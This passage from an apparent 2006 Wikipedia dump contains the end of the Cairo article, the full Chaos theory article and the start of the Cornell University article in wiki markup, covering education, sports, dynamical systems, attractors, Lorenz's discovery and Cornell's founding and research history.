*[[Naguib Mahfouz]]
*[[Cairo Opera House]] [http://www.operahouse.gov.eg/]

== Education ==
Cairo has long been the hub of education and educational services not only for Egypt but also for the [[Arab World]].&lt;BR&gt;
Today, Cairo is the center for the government offices governing the [[Education in Egypt|Egyptian educational system]], has the largest number of Educational schools, and [[Egyptian universities|higher learning institutes]] among other cities and governorates of Egypt.

Universities in Cairo:
* [[Al-Azhar University]]
* [[Modern Academy In Maadi]]
* [[Ain Shams University]]
* [[American University in Cairo]]
* [[AlAhram Canadian University (ACU)]]
* [[Arab Academy for Sciences &amp; Technology and Maritime Transport]]
* [[British University in Egypt]] (BUE)
* [[Cairo University]]
* [[French University in Egypt]]
* [[German University in Cairo]] (GUC)
* [[Helwan University]]
* [[Misr University for Science and Technology]] (MUST)(opened in 2000)
* [[Misr International University]] (MIU)
* [[Modern University for Sciences and Technology]] (MSA)
* [[Sadat Academy For Management Science]]

== Sports ==
Cairo has a number of sporting teams that compete in national leagues. The best known teams are [[Al-Zamalek]] and [[Al-Ahly]], whose annual football [[Local derby]] is perhaps the most watched sports event in Egypt as well as the [[Arab World]]. Both teams are known as the giants of Egyptian and Arabic football, and are champions in the African continent and the Arab World. Both teams play their home games at [[Cairo International Stadium]], which is Cairo's and Egypt's largest stadium.

The [[Cairo International Stadium]] is a multipurpose sports complex that houses the main Soccer stadium, an indoor stadium, several satalite fields that held several regional, continental and global games, including the African Games, Football World Championship for U17 and is one of the stadiums schedualed to host the [[2006 African Nations Cup]] which begins on [[20 January]]. Cairo failed at the applicant stage when bidding for the 2008 Summer Olympic Games, which will be hosted in Beijing China. Egypt was unsuccessful in bidding to host the 2010 Football World Cup, which will be held in South Africa.

There are several other sports teams in the city that participate in several sports including [[Al Jazeera Sporting Club]], [[Shooting club]], [[Heliopolis Club]] and several smaller clubs.

Most of the sports federations of the country are also located in the city suburbs, including the [[Egyptian Football Association]]. The headquarters  of the [[Confederation of African Football]](CAF) was previously located in Cairo, before relocating to its new headquarters in [[6th October City]].

==Famous Cairenes==
*[[Boutros Boutros Ghali]], former [[Secretary-General of the United Nations|Secretary-General]] of the [[United Nations]], born in Cairo.
*[[Maimonides]], [[Royal court|court]] [[physician]] to [[Saladin]] and [[Talmud]]ic scholar.
*[[Omar Sharif]], [[Actor]] 
*[[Naguib Mahfouz]], [[Nobel Laureate]] and [[novelist]]
*[[Mohamed ElBaradei]], [[Nobel Peace Prize Laureate]]
*[[Ahmed H. Zewail]], [[Nobel Prize in Chemistry Laureate]]

== Districts ==
{{Template:Districts of Cairo}}

==[[Town twinning]]/[[Sister cities]]==
*[[Image:Flag of Germany.svg|25px]] [[Stuttgart]], [[Germany]] (since 1979)
*[[Image:Flag of Turkey.svg|25px]] [[Istanbul]], [[Turkey]]
*[[Image:Flag_of_the_United_States.svg|25px|]] [[New York City]], [[USA]]

==See also==
* [[Capital of Egypt]]
* [[Gates of Cairo]]
* [[Wagh el Birket]]
* [[Smart Village]]
* [[Mosque of Ibn Tulun]]

==Further reading==
*Artemis Cooper, ''Cairo in the War, 1939-1945'', Hamish Hamilton, 1989 / Penguin Book, 1995. ISBN 0140247815 (Pbk)
*André Raymond, ''Cairo'', trans. Willard Wood.  Harvard University Press, 2000.
*Max Rodenbeck, ''Cairo &amp;ndash; the City Victorious'', Picador, 1998. ISBN 0330337092 (Hbk) ISBN 0330337106 (Pbk)

==External links==
{{sisterlinks|Cairo}}
*[http://egypt.cities-guide.net/cairo/ Cairo Web Directory]
* {{wikitravelpar|Cairo}}
*[http://www.lonelyplanet.com/destinations/africa/cairo/ Lonely Planet/Cairo]
*[http://st-takla.org/Links/Coptic-Links-02-Churches-a-Egypt.html#Cairo%20&amp;%20Giza: Coptic Churches of Cairo]
*[http://www.cairolive.com/ Cairo Live]
*[http://www.stayxs.com/egypt/cairo.html Cairo Hotels]
*[http://www.cairo.org Cairo.org Photos and General Information]

&lt;!-- interwiki --&gt;

[[Category:Cairo| ]]

[[als:Kairo]]
[[ar:القاهرة]]
[[bg:Кайро]]
[[ca:El Caire]]
[[cs:Káhira]]
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[[gl:Cairo - القاهرة]]
[[ko:카이로]]
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[[he:קהיר]]
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[[zh:开罗]]</text>
    </revision>
  </page>
  <page>
    <title>Chaos theory</title>
    <id>6295</id>
    <revision>
      <id>42125487</id>
      <timestamp>2006-03-04T00:05:57Z</timestamp>
      <contributor>
        <username>Linas</username>
        <id>159886</id>
      </contributor>
      <minor />
      <comment>/* Attractors */ fix broken link</comment>
      <text xml:space="preserve">:''See [[Chaos Theory (disambiguation)]] for other meanings.''

[[Image:Lorenz attractor yb.svg|thumb|right||A plot of the trajectory Lorenz system for values ''r''&amp;nbsp;=&amp;nbsp;28, &amp;#963;&amp;nbsp;=&amp;nbsp;10, ''b''&amp;nbsp;=&amp;nbsp;8/3]]
In [[mathematics]] and [[physics]], '''chaos theory''' deals with the behavior of certain [[nonlinearity|nonlinear]] [[dynamical system]]s that under certain conditions exhibit a phenomenon known as '''chaos'''.  Among the characteristics of chaotic systems, described below, is a sensitivity to initial conditions (popularly referred to as the [[butterfly effect]]). As a result of this sensitivity, the behavior of systems that exhibit chaos appears to be random, even though the [[Model (abstract)|model]] of the system is [[deterministic system (philosophy)|deterministic]] in the sense that it is well defined and contains no random parameters.   Examples of such systems include the [[Earth's atmosphere|atmosphere]], the [[solar system]], [[plate tectonics]], [[turbulence|turbulent]] fluids, economies, and population growth. 

Systems that exhibit mathematical chaos are deterministic and thus orderly in some sense; this technical use of the word ''chaos'' is at odds with common parlance, which suggests complete disorder. [See the article on [[chaos (mythology)|mythological chaos]] for a discussion of the origin of the word in mythology, and other uses.] A related field of physics called [[quantum chaos]] theory studies non-deterministic systems that follow the laws of [[quantum mechanics]].

===Chaotic dynamics===
For a dynamical system to be classified as chaotic, it must have the following properties:

* it must be ''sensitive to initial conditions''
* it must be ''[[topological mixing|topologically mixing]]'' 
* its periodic orbits must be ''[[dense set|dense]]'' &lt;!--brief explanation of dense sets --&gt;

''Sensitivity to initial conditions'' means that two points in such a system may move in vastly different trajectories in their [[phase space]]&lt;!--explain this term--&gt;, even if the difference in their initial configurations is very small. The systems behave identically only if their initial configurations are ''exactly'' the same.

Sensitivity to initial conditions is popularly known as the &quot;[[butterfly effect]]&quot;, suggesting that the flapping of a butterfly's wings might create tiny changes in the atmosphere, which could over time cause a [[tornado]] to occur. The flapping wing represents a small change in the initial condition of the system, which causes a chain of events leading to large-scale phenomena. Had the butterfly not flapped its wings, the trajectory of the system might have been vastly different. 

Sensitivity to initial conditions is often confused with chaos in popular accounts, but in itself is not particular interesting. Consider the dynamical system defined on the real line by mapping ''x'' to ''2x''. This system has sensitive dependence on initial conditions everywhere, but has extremely simple (linear) behavior. 

''Topologically mixing'' means that the system will evolve over time so that any given region or [[open set]] of its phase space will eventually overlap with any other given region. Since phase space is of finite size, this usually means that the phase space will become thoroughly [[mixing (physics)|mixed together]] after a fairly short time. Here, &quot;mixing&quot; is really meant to correspond to the standard intuition: the mixing of colored [[dye]]s or fluids is an example of a chaotic system.

===Attractors===

Some dynamical systems are chaotic everywhere (see e.g. [[Anosov diffeomorphism]]s) but in many cases chaotic behavior is found only in a subset of phase space. The cases of most interest arise when the chaotic behavior takes place on an [[attractor]], since then a large set of initial conditions will lead to orbits that converge to this chaotic region.

An easy way to visualize a chaotic attractor is to start with a point in the [[basin of attraction]] of the attractor, and then simply plot its subsequent orbit. Because of the topological transitivity condition, this is likely to produce a picture of the entire final attactor. 

[[Image:Damped_driven_chaotic_pendulum_-_double_period_behavior.png|thumb|right|300px|Phase diagram for a damped driven pendulum, with double period motion]]
For instance, in a system describing a pendulum, the phase space might be two-dimensional, consisting of information about position and velocity. One might plot the ''position'' of a [[pendulum]] against its ''velocity''. A pendulum at rest will be plotted as a point, and one in periodic motion will be plotted as a simple closed curve. When such a plot forms a closed curve, the curve is called an [[orbit (mathematics)|orbit]]. Our pendulum has an infinite number of such orbits, forming a [[pencil (mathematics)|pencil]] of nested ellipses about the origin.

===Strange attractors===
While most of the motion types mentioned above give rise to very simple attractors, such as points and circle-like curves called ''[[limit cycle]]s'', chaotic motion gives rise to what are known as ''[[strange attractor]]s'', attractors that can have great detail and complexity.
For instance, a simple three-dimensional model of the [[Edward Lorenz|Lorenz]] weather system gives rise to the famous [[Lorenz attractor]]. The Lorenz attractor is perhaps one of the best-known chaotic system diagrams, probably because not only was it one of the first, but it is one of the most complex and as such gives rise to a very interesting pattern which looks like the wings of a butterfly. Another such attractor is the [[Rössler Map]], which experiences period-two doubling route to chaos, like the logistic map.

Strange attractors occur in both [[continuous function|continuous]] dynamical systems (such as the Lorenz system) and in some [[discrete mathematics|discrete]] systems (such as the [[Hénon map]]). Other discrete dynamical systems have a repelling structure called a [[Julia set]] which forms at the boundary between basins of attraction of fixed points - Julia sets can be thought of as strange ''repellers''. Both strange attractors and Julia sets typically have a [[fractal]] structure.

The [[Poincaré-Bendixson theorem]] shows that a strange attractor can only arise in a continuous dynamical system if it has three or more dimensions. However, no such restriction applies to discrete systems, which can exhibit strange attractors in two or even one dimensional systems.

==History==
The roots of chaos theory date back to about 1900,
in the studies of [[Henri Poincaré]] on the problem of the motion of three objects in mutual gravitational attraction, the so-called [[three-body problem]].
Poincaré found that there can be orbits which are nonperiodic, and yet not forever increasing nor approaching a fixed point.
Later studies, also on the topic of nonlinear differential equations,
were carried out by [[George David Birkhoff|G.D. Birkhoff]], [[Andrey Nikolaevich Kolmogorov|A.N. Kolmogorov]], [[Mary Lucy Cartwright|M.L. Cartwright]], [[John Edensor Littlewood|J.E. Littlewood]], and [[Stephen Smale]].
Except for Smale,  
these studies were all directly inspired by physics: the three-body problem in the case of Birkhoff,
turbulence and astronomical problems in the case of Kolmogorov,
and radio engineering in the case of Cartwright and Littlewood.
Although chaotic planetary motion had not been observed, experimentalists had encountered
turbulence in fluid motion and nonperiodic oscillation in radio circuits
without the benefit of a theory to explain what they were seeing.

Chaos theory progressed more rapidly after mid-century, when it first became evident for some scientists that [[linear theory]], the prevailing system theory at that time, simply could not explain the observed behavior of certain experiments like that of the [[logistic map]]. The main catalyst for the development of chaos theory was the electronic [[computer]].  Much of the mathematics of chaos theory involves the repeated iteration of simple mathematical formulas, which would be impractical to do by hand.  Electronic computers made these repeated calculations practical. One of the earliest electronic digital computers, [[ENIAC]], was used to run simple weather forecasting models.

An early pioneer of the theory was [[Edward Lorenz]] whose interest in chaos came about accidentally through his work on [[weather]] prediction in [[1961]]. Lorenz was using a basic [[computer]], a [[Royal McBee]] [[LGP-30]], to run his weather simulation. He wanted to see a sequence of data again and to save time he started the simulation in the middle of its course. He was able to do this by entering a printout of the data corresponding to conditions in the middle of his simulation which he had calculated last time. 

To his surprise the weather that the machine began to predict was completely different from the weather calculated before. Lorenz tracked this down to the computer printout.  The printout rounded variables off to a 3-digit number, but the computer worked with 6-digit numbers. This difference is tiny and the consensus at the time would have been that it should have had practically no effect. However Lorenz had discovered that small changes in initial conditions produced large changes in the long-term outcome.

Yoshisuke Ueda independently identified a chaotic phenomenon as such by using an analog computer on November 27, 1961. The chaos exhibited by an analog computer is truly a natural phenomenon, in contrast with those discovered by a digital computer. Ueda's supervising professor, Hayashi, did not believe in chaos throughout his life, and thus he prohibited Ueda from publishing his findings till 1970.

The term '''chaos''' as used in mathematics was coined by the applied mathematician [[James A. Yorke]].

The availability of cheaper, more powerful computers broadens the applicability of chaos theory.  Currently, chaos theory continues to be a very active area of research.

==Mathematical theory==
[[Mathematician]]s have devised many additional ways to make quantitative statements about chaotic systems. These include:

* [[fractal dimension]] of the attractor
* [[Lyapunov exponent]]s
* [[recurrence plot]]s
* [[Poincaré map]]s
* [[bifurcation diagram]]s
* [[Transfer operator]]

=== Minimum complexity of a chaotic system ===
Many simple systems can also produce chaos without relying on [[differential equation]]s, such as the [[logistic map]], which is a difference equation ([[recurrence relation]]) that describes population growth over time.

Even [[discrete]] systems, such as [[cellular automata]], can heavily depend on initial conditions.  [[Stephen Wolfram]] has investigated a cellular automaton with this property, termed by him ''[[rule 30]]''.

==Other examples of chaotic systems==
* [[Double pendulum]]
* [[Logistic map]]
* [[Henon map|Hénon map]]
* [[Lorenz attractor | Lorenz model]]
* [[Horseshoe map| Smale horseshoe]]
* [[Dynamical billiards]]
* [[Chua's circuit]]
* [[Rössler Map]]
* [http://www.drchaos.net/drchaos/Sam/sam.html Swinging Atwood's Machine (SAM)]
* [http://www.drchaos.net/drchaos/bb.html Bouncing Ball]
* [http://www.drchaos.net/drchaos/string_web_page/index.html Mechanical Strings]
* [http://www.drchaos.net/drchaos/rip_web_page/index.html Capillary Ripples]

==Application==

Chaos theory is applied in many scientific disciplines: [[mathematics]], [[physics]], [[engineering]], [[economics]], [[population dynamics]], [[psychology]], etc.

==See also==
* [[Anosov diffeomorphism]]
*[[Bifurcation theory]]
*[[Complexity]]
*[[Dynamical system]]
*[[Fractal]]
**[[Benoit Mandelbrot]]
**[[Mandelbrot set]]
**[[Julia set]]
*[[Edge of chaos]]
*[[Mitchell Feigenbaum]]
*[[Predictability]]
*[[Chaos Data Analyzer]]

==References==
===Textbooks===
*{{cite book | author=Gutzwiller, Martin | title=Chaos in Classical and Quantum Mechanics | publisher=Springer-Verlag New York, LLC | year=1990 | id=ISBN 0387971734}}
*{{cite book | author=Moon, Francis | title=Chaotic and Fractal Dynamics | publisher=Springer-Verlag New York, LLC | year=1990 | id=ISBN 0471545716}}
*{{cite book | author=Tufillaro, Abbott, Reilly | title=An experimental approach to nonlinear dynamics and chaos | publisher=Addison-Wesley New York | year=1992 | id=ISBN 0201554410}}
*{{cite book | author=Gollub, J. P.; Baker, G. L. | title=Chaotic dynamics | publisher=Cambridge University Press | year=1996 | id=ISBN 0521476852}}
*{{cite book | author=Baker, G. L. | title=Chaos, Scattering and Statistical Mechanics | publisher=Cambridge University Press | year=1996 | id=ISBN 0521395119}}
*{{cite book | author=Alligood, K. T. | title=Chaos: an introduction to dynamical systems | publisher=Springer-Verlag New York, LLC | year=1997 | id=ISBN 0387946772}}
*{{cite book | author=Kiel, L. Douglas; Elliott, Euel W. | title=Chaos Theory in the Social Sciences | publisher=Perseus Publishing | year=1997 | id=ISBN 0472084720}}
*{{cite book | author=Strogatz, Steven | title=Nonlinear Dynamics and Chaos | publisher=Perseus Publishing | year=2000 | id=ISBN 0738204536}}
*{{cite book | author=Sprott, Julien Clinton | title=Chaos and Time-Series Analysis | publisher=Oxford University Press | year=2003 | id=ISBN 0198508409}}
*{{cite book | author=Hoover, William Graham | title=Time Reversibility, Computer Simulation, and Chaos | publisher=World Scientific | year=1999,2001 | id=ISBN 981-02-4073-2}}

===Semitechnical and popular works===
*''The Beauty of Fractals'', by H.-O. Peitgen and P.H. Richter
*''Chance and Chaos'', by [[David Ruelle]]
*''Computers, Pattern, Chaos, and Beauty'', by [[Clifford A. Pickover]]
*''Fractals'', by Hans Lauwerier
*''Fractals Everywhere'', by [[Michael Barnsley]]
*''Order Out of Chaos'', by [[Ilya Prigogine]] and Isabelle Stengers
*''Chaos and Life'', by Richard J Bird
*''Does God Play Dice?'', by [[Ian Stewart (mathematician)|Ian Stewart]]
*''The Science of Fractal Images'', by Heinz-Otto Peitgen and Dietmar Saupe, Eds.
*''Explaining Chaos'', by Peter Smith
*''Chaos'', by [[James Gleick]]
*''Complexity'', by M. Mitchell Waldrop
*''Chaos, Fractals and Self-organisation'', by Arvind Kumar
*''Chaotic Evolution and Strange Attractors'', by [[David Ruelle]]
*''Sync: The emerging science of spontaneous order'', by Steven Strogatz
*''The Essence of Chaos'', by [[Edward Lorenz]]
*''Deep Simplicity'', by John Gribbin
*''The Road To Chaos'', by Yoshisuke Ueda
*''The Chaos Avant-Garde: Memoirs of the Early Days of Chaos Theory'', Edited by Ralph H. Abraham and Yoshisuke Ueda

===Popular culture===
*''Ian Malcolm'', a character from the movie and book ''[[Jurassic Park]]'', was a chaos theory mathematician.
*''[[Tom Clancy's Splinter Cell: Chaos Theory]]'' had a subtle undertone (and a main title) around chaos theory.  Also, one of the main antagonists, Douglas Shetland, believed in his own version of chaos theory and how it related to the condition of America in the game.

==External links==
*[http://www.enm.bris.ac.uk/anm Bristol Centre for Applied Nonlinear Mathematics]
*http://www.nbi.dk/ChaosBook/
*[http://www.drchaos.net/drchaos/intro.html Nick's Nonlinear Dynamics Archive]
*[http://www.libraryreference.org/chaos.html Chaos Theory and Education]
*[http://www.imho.com/grae/chaos/chaos.html Chaos Theory: A Brief Introduction]
*[http://faraday.physics.utoronto.ca/PVB/Harrison/Chaos/Chaos.html An introduction to Chaos by David M. Harrison, Dept. of Physics. Univ. of Toronto]
*[http://www.ae.uiuc.edu/lndvl Linear and Nonlinear Dynamics and Vibrations Laboratory at the University of Illinois]
*[http://hypertextbook.com/chaos/ The Chaos Hypertextbook]. An introductory primer on chaos and fractals.
* ''Chaos Theory in the Social Sciences'', edited by L Douglas Kiel, Euel W Elliott.
*[http://www.cut-the-knot.org/blue/chaos.shtml Emergence of Chaos] at [[cut-the-knot]]
*[http://physics.mercer.edu/pendulum/ Interactive live chaotic pendulum experiment], allows users to interact and sample data from a real working damped driven chaotic pendulum

[[Category:Chaos theory|*]]
[[Category:Non-linear systems]]

&lt;!-- interwiki --&gt;

[[ar:نظرية الشواش]]
[[ca:Teoria del caos]]
[[cs:Teorie chaosu]]
[[de:Chaosforschung]]
[[el:Θεωρία του χάους]]
[[es:Teoría del Caos]]
[[fr:Théorie du chaos]]
[[gl:Teoría do caos]]
[[ko:혼돈 이론]]
[[id:Teori chaos]]
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[[pt:Teoria do caos]]
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[[simple:Chaos theory]]
[[fi:Kaaosteoria]]
[[th:ทฤษฎีความอลวน]]
[[vi:Lý thuyết hỗn loạn]]
[[tr:Dinamik Sistemler ve Kaos Teorisi]]
[[zh:混沌理论]]</text>
    </revision>
  </page>
  <page>
    <title>Cornell University</title>
    <id>6297</id>
    <revision>
      <id>42078146</id>
      <timestamp>2006-03-03T17:53:53Z</timestamp>
      <contributor>
        <ip>200.232.208.92</ip>
      </contributor>
      <comment>/* Alumni */</comment>
      <text xml:space="preserve">: ''&quot;Cornell&quot; redirects here. For the unaffiliated liberal arts college in Mount Vernon, Iowa, see [[Cornell College]]. For other uses, see [[Cornell (disambiguation)]].''
{{Infobox_University 
|image          = [[Image:Cornell_emblem.png|175px|Cornell University]] 
|name           = Cornell University
|motto          = ''&quot;I would found an institution where any person can find instruction in any study&quot;''&lt;br /&gt;–Ezra Cornell, 1865 
|established    = [[1865]] 
|type           = [[Private university|Private]] with 14 colleges and schools, including 4 [[statutory college]]s|&lt;!-- note: Cornell's contract colleges do not make it public. See talk --&gt;
|president      = [[Hunter R. Rawlings, III]] &lt;!-- Skorton will not be inaugurated until July 1, 2006 --&gt;
|head_label     = [[President-elect]]
|head           = [[David Skorton]] (Inauguration: July 1, 2006)
|city           = [[Ithaca, New York|Ithaca]] 
|state          = [[New York|NY]] 
|country        = [[United States|USA]] 
|undergrad      = 13,665 
|postgrad       = 6,679 
|faculty        = 3,241 
|campus         = [[Urban area]], 745 [[acre]]s (3.0 [[kilometre|km]]&amp;sup2;) 
|mascot         = [[Image:cornellbear.gif|40px|left]] None. Teams referred to as the &quot;[[Cornell Big Red|Big Red]]&quot;; the unofficial mascot is the [[bear]] 
|free_label     = Athletics 
|free           = 36 Varsity Teams 
|website=  [http://www.cornell.edu/ www.cornell.edu]
|endowment= $3.847 billion&lt;sup&gt;[http://www.investmentoffice.cornell.edu/documents/1%20-%20LTI%20Summary.pdf 1]&lt;/sup&gt;
|footnotes=
&lt;tr colspan=2&gt;&lt;td colspan=2 align=center&gt;&lt;small&gt;&amp;nbsp;&lt;br /&gt;[[Image:Culogo_web_60red.gif|24em|Cornell University]]&lt;/td&gt;&lt;/tr&gt;
}}
'''Cornell University''' is a research [[university]] located on the East Hill of [[Ithaca, New York]]. Its two medical campuses are located in [[New York City]] and in [[Education City, Qatar|Education City]], [[Qatar]], near [[Doha]].

The youngest member of the [[Ivy League]], Cornell was founded in [[1865]] by [[Ezra Cornell]] and [[Andrew Dickson White]] as a [[coeducation]]al, [[nonsectarianism|nonsectarian]] institution where admission was offered irrespective of [[religion]] or [[race]]. Conceived immediately after the [[Industrial Revolution]] and the [[American Civil War]], its founders intended that the new university would teach and make contributions in all fields of knowledge—from the [[classics]] to the [[science]]s and from the [[theory|theoretical]] to the [[applied science|applied]]. These ideals—a radical departure at the time—are captured in Cornell's motto, an 1865 [[Ezra Cornell]] quotation: &quot;I would found an institution where any person can find instruction in any study&quot;.

Known for both its [[undergraduate]] and [[graduate school|graduate]] programs, Cornell continues to have one of the broadest [[curriculum|curricula]] of any university, offering more than 80 [[academic major|majors]], housing over 150 [[academic department|departments and academic areas]] and offering well over 5000 [[course (education)|courses]]. Cornell is also a leader in research: During the 2004–05 academic year, research expenditures topped $560 million{{ref|lead.research}}. In recent years, Cornell has been aggressively expanding its [[#International programs|international programs]]—from the establishment, in [[2001]], of the [[Weill Cornell Medical College in Qatar]], the first American [[medical school]] outside of the United States, to the forging of partnerships and collaboration with major institutions in [[China]]{{ref|lead.china}}, [[India]]{{ref|lead.india}} and [[Singapore]]{{ref|lead.singapore}}—it has gone as far as claiming to be &quot;the first transnational university.&quot;{{ref|lead.transnational_claim}}

==History==
{{main|History of Cornell University}}
===Conception of Cornell===
[[Image:Cornell Arts Quad 1919.jpg|left|300px|thumb|Statue of [[Andrew Dickson White|A.D. White]] on the [[Cornell University College of Arts and Sciences#The Arts Quadrangle|Arts Quadrangle]].]]
When Ezra Cornell and Andrew Dickson White met in the [[New York State Senate|New York Senate]] in January [[1864]], each a newly elected member, their eventual partnership seemed unlikely. Although both valued egalitarianism, science, and education, they had come from two very different backgrounds.

Ezra Cornell, a self-made businessman and austere, pragmatic telegraph mogul, made his fortune on the [[Western Union Telegraph Company]] stock he received during the consolidation that led to its formation{{ref|conception_of_cornell.western_union}}. Cornell, who had been poor for most of his life, suddenly found himself looking for ways that he could do the greatest good for with his money—he wrote, &quot;My greatest care now is how to spend this large income to do the greatest good to those who are properly dependent on me, to the poor and to posterity&quot;.{{ref|conception_of_cornell.cornell_quote}}  Cornell's self education and hard work would lead him to the conclusion that the greatest end for his philanthropy was in the need of colleges for the teaching of practical pursuits such as [[agriculture]], the [[applied science]]s, [[veterinary medicine]] and [[engineering]] and in finding opportunities for the poor to attain such an education.

Andrew Dickson White entered college, at the age of sixteen, in 1849. White dreamed of going to one of the elite eastern colleges, but his father sent him to [[Geneva College]] (later known as [[Hobart and William Smith Colleges|Hobart]]), a small [[Episcopal Church in the United States of America|Episcopal]] college. In Geneva's library, White would read about the great colleges at [[Oxford University]] and at the [[University of Cambridge]]; this appears to be his first inspiration for &quot;dreaming of a university worthy of the commonwealth &lt;nowiki&gt;[New York]&lt;/nowiki&gt; and of the nation&quot;, a dream that would become a lifelong goal of White's. After a year at Geneva, White convinced his father to send him to [[Yale University]]. For White, Yale was a great improvement over Geneva, but he found that even at one of the country's great universities there was &quot;too much reciting by rote and too little real intercourse&quot;.

The state senate was charged with the allotment of New York's allocation of the federal land grant, an endowment of public lands for education, granted by the [[Morrill Land-Grant Colleges Act|Morrill Land Grant Act of 1862]]. Initially, Cornell wanted the grant to go to the New York State Agricultural College at Ovid. However, White &quot;vigorously opposed this bill, on the ground that the educational resources of the state were already too much dispersed&quot;.  He felt that the grant would be most effective if it were used to establish or strengthen a comprehensive university.

In the face of this disagreement, on [[September 25]], [[1864]], in [[Rochester, New York]], Ezra Cornell proposed establishing a new university on his farm in Ithaca, which he would endow with $300,000 (soon thereafter increased to $500,000) to be combined with the full proceeds of the land grant. Ezra Cornell had found a purpose for his fortune, and White had found an opportunity to fulfill his dream of building his vision of a great university for the state.

===Establishment of Cornell===
On [[February 7]], [[1865]], Andrew D. White introduced an act to the state senate &quot;to establish the Cornell University,&quot; which appropriated the full income of the sale of lands given to New York under the Morrill Act to the university{{ref|establishment_of_cornell.act}}. The bill was immediately opposed by other colleges vying for a share of the land grant funds and by religious groups, who opposed the proposed composition of the university's board of trustees. Cornell's charter stated that &quot;at no time shall a majority thereof be of any one religious sect, or of no religious sect.&quot;{{ref|establishment_of_cornell.trustees}}  Despite this opposition, the bill was signed into law by [[Reuben Fenton|Governor Reuben E. Fenton]] on [[April 27]], [[1865]].

The university's Inauguration Day took place on [[October 7]], [[1868]]. There were 412 successful applicants; with this initial enrollment, Cornell's first class was, at the time, the largest entering class at an American university.{{ref|establishment_of_cornell.class_size}}  On the occasion, Ezra Cornell delivered a brief speech. He said, &quot;I hope we have laid the foundation of an institution which shall combine practical with liberal education. ... I believe we have made the beginning of an institution which will prove highly beneficial to the poor young men and the poor young women of our country&quot;.{{ref|establishment_of_cornell.ezra_cornell_quote}}

[[Image:Cornell_University_West_Campus_Sign.JPG|thumb|right|The entrance of Cornell University from Collegetown, during winter]]

Cornell was among the [[Coeducation#U.S. institutions of higher education coeducational from establishment|first universities]] in the United States to admit women alongside men. The first woman was admitted to Cornell in [[1870]], although the university did not yet have a women's dormitory. On [[February 13]], [[1872]], Cornell's Board of Trustees accepted an offer of $250,000 from [[Henry W. Sage]] to build such a dormitory. During the construction of [[Sage Residential College|Sage College]] (now home to the [[S.C. Johnson Graduate School of Management|Johnson School]] as Sage Hall) and after its opening in [[1875]], the admittance of women to Cornell continued to increase.

Significant departures from the standard curriculum were made at Cornell under the leadership of Andrew D. White. In [[1868]], Cornell introduced the ''elective system'', under which students were free to choose their own course of study. [[Harvard University]] would make a similar change in [[1872]], soon after the inauguration of [[Charles William Eliot|Charles W. Eliot]] in [[1869]].{{ref|establishment_of_cornell.curriculum}}

It was the success of the egalitarian ideals of the newly-established Cornell that would help drive some of the changes seen at other universities throughout the next few decades, and would lead educational historian Frederick Rudolph to call Cornell &quot;the first American university&quot;.{{ref|establishment_of_cornell.frederick_rudolph}}

===Research===
The Automotive Crash Injury Research project was begun in 1952 by [[John O. Moore]] at the [[Cornell Aeronautical Laboratory|Cornell Aeronautical Research Laboratories]] (spun off in 1972 as Calspan Corporation). It pioneered the first-ever use of crash testing (originally using corpses rather than dummies). The project discovered that an extraordinary percentage of injuries could be prevented by improved door locks, energy-absorbing steering wheels, padded dashboards, and seat belts. The project led to Liberty Mutual's funding the building of a demonstration Cornell Safety Car in 1956, which received national publicity, and influenced carmakers. Carmakers started their own crash-test laboratories and gradually adopted the main Cornell innovations, all now taken for granted (although others, such as rear-facing passenger seats, never found favor with carmakers or the public).

In 1984, the [[National Science Foundation]] began work on establishing five new [[supercomputer]] centers, including the [[Cornell Theory Center]], to provide high-speed computing resources for research within the United States. In 1985, development of [[NSFNet]], a [[TCP/IP]]-based computer network that could connect to the [[ARPANET]], was undertaken by a team from the [[National Center for Supercomputing Applications]] at the [[University of Illinois at Urbana-Champaign]] and the Cornell Theory Center. This high-speed network, unrestricted to academic users, became a backbone to which regional networks would be connected. Initially a 56-[[kilobit per second|kbps]] network, traffic on the network grew [[exponential function|exponentially]]; the links were upgraded to 1.5-[[megabit per second|Mbps]] [[Digital Signal 1|T1s]] in 1988 and to 45 Mbps in 1991. The NSFNet was a major milestone in the development of the [[Internet]] and its rapid growth coincided with the development of the [[World Wide Web]].{{ref|research.nsfnet}}

[[Image:NASA Mars Exploration Rover.jpg|thumb|right|200px|Artist's rendering of a [[Mars Exploration Rover]] as seen on the [[Mars|&quot;Big Red&quot; planet]]. Copyright Maas Digital LLC]]
For more than 40 years, Cornell has been involved in unmanned missions to [[Mars]]{{ref|research.timeline}}. Recently, Cornell had a hand in the [[Mars Exploration Rover|Mars Exploration Rover Mission]]. Cornell's own [[Steve Squyres]]{{ref|research.squyres}}, Principal investigator for the [[Athena Science Payload]], led the selection of the landing zones and requested data collection features for the [[Spirit rover|Spirit]] and [[Opportunity rover|Opportunity]] rovers. [[Jet Propulsion Laboratory]] engineers took those requests and designed the rovers to meet them. [[Jet Propulsion Laboratory|JPL]] is also responsible for all of the designs relating to space travel, Mars terrain travel, and the software-control system. The rovers, which have both operated long past their original life expectancy, are responsible for the discoveries that were awarded [[2004]] Breakthrough of the Year honors{{ref|reserach.breakthrough}} by ''[[Science (journal)|Science]]''. Photos taken by Opportunity, near its landing site at [[Meridiani Planum]], showed a stratification pattern and cross bedding within the rocks that suggest a history of water flowing in the region. Control of the Mars rovers has shifted between NASA's [[Jet Propulsion Laboratory]] at [[California Institute of Technology|Caltech]] and Cornell's Space Sciences Building{{ref|research.rover_control}}.

==Organization==
===Academic units===
Cornell is a private institution, receiving most of its funding through tuition, research grants, and alumni contributions. However, three of its undergraduate colleges as well as the graduate-level [[New York State College of Veterinary Medicine|College of Veterinary Medicine]], called contract or [[statutory college]]s, also receive partial funding from the state of New York to support their research and service mission in niche fields. Residents of New York enrolled in the contract colleges enjoy reduced tuition. Further, the governor of the state serves as an ex-officio member of the board of trustees. It is a common misconception that Cornell's contract colleges are public institutions. They are not—they are private institutions that Cornell operates by contract with the state government. 

Cornell is highly decentralized, with its colleges and schools enjoying wide autonomy. Each defines its own academic programs, organizes its own admissions and advising programs, and confers its own degrees. The only university-wide requirements for a baccalaureate degree are to pass a swimming test and take two physical education courses. Periodically, the university attempts to resolve naturally arising redundancies by creating special inter-school departments. While students may take courses offered by the division, their enrollment remains with their individual college or school. With that said, any student may take any course in any of the colleges, provided they have fulfilled the pre-requisites for enrollment.

Seven schools offer undergraduate programs. Students pursuing graduate degrees in departments of these schools are enrolled in the [[Cornell University Graduate School|Graduate School]]. In addition, there are six units offering graduate and professional programs.

====Undergraduate colleges and schools====
&lt;table width=100%&gt;
&lt;tr&gt;
&lt;td valign=top&gt;
=====Endowed colleges=====
* [[College of Architecture, Art and Planning]]
* [[Cornell University College of Arts and Sciences|College of Arts and Sciences]]
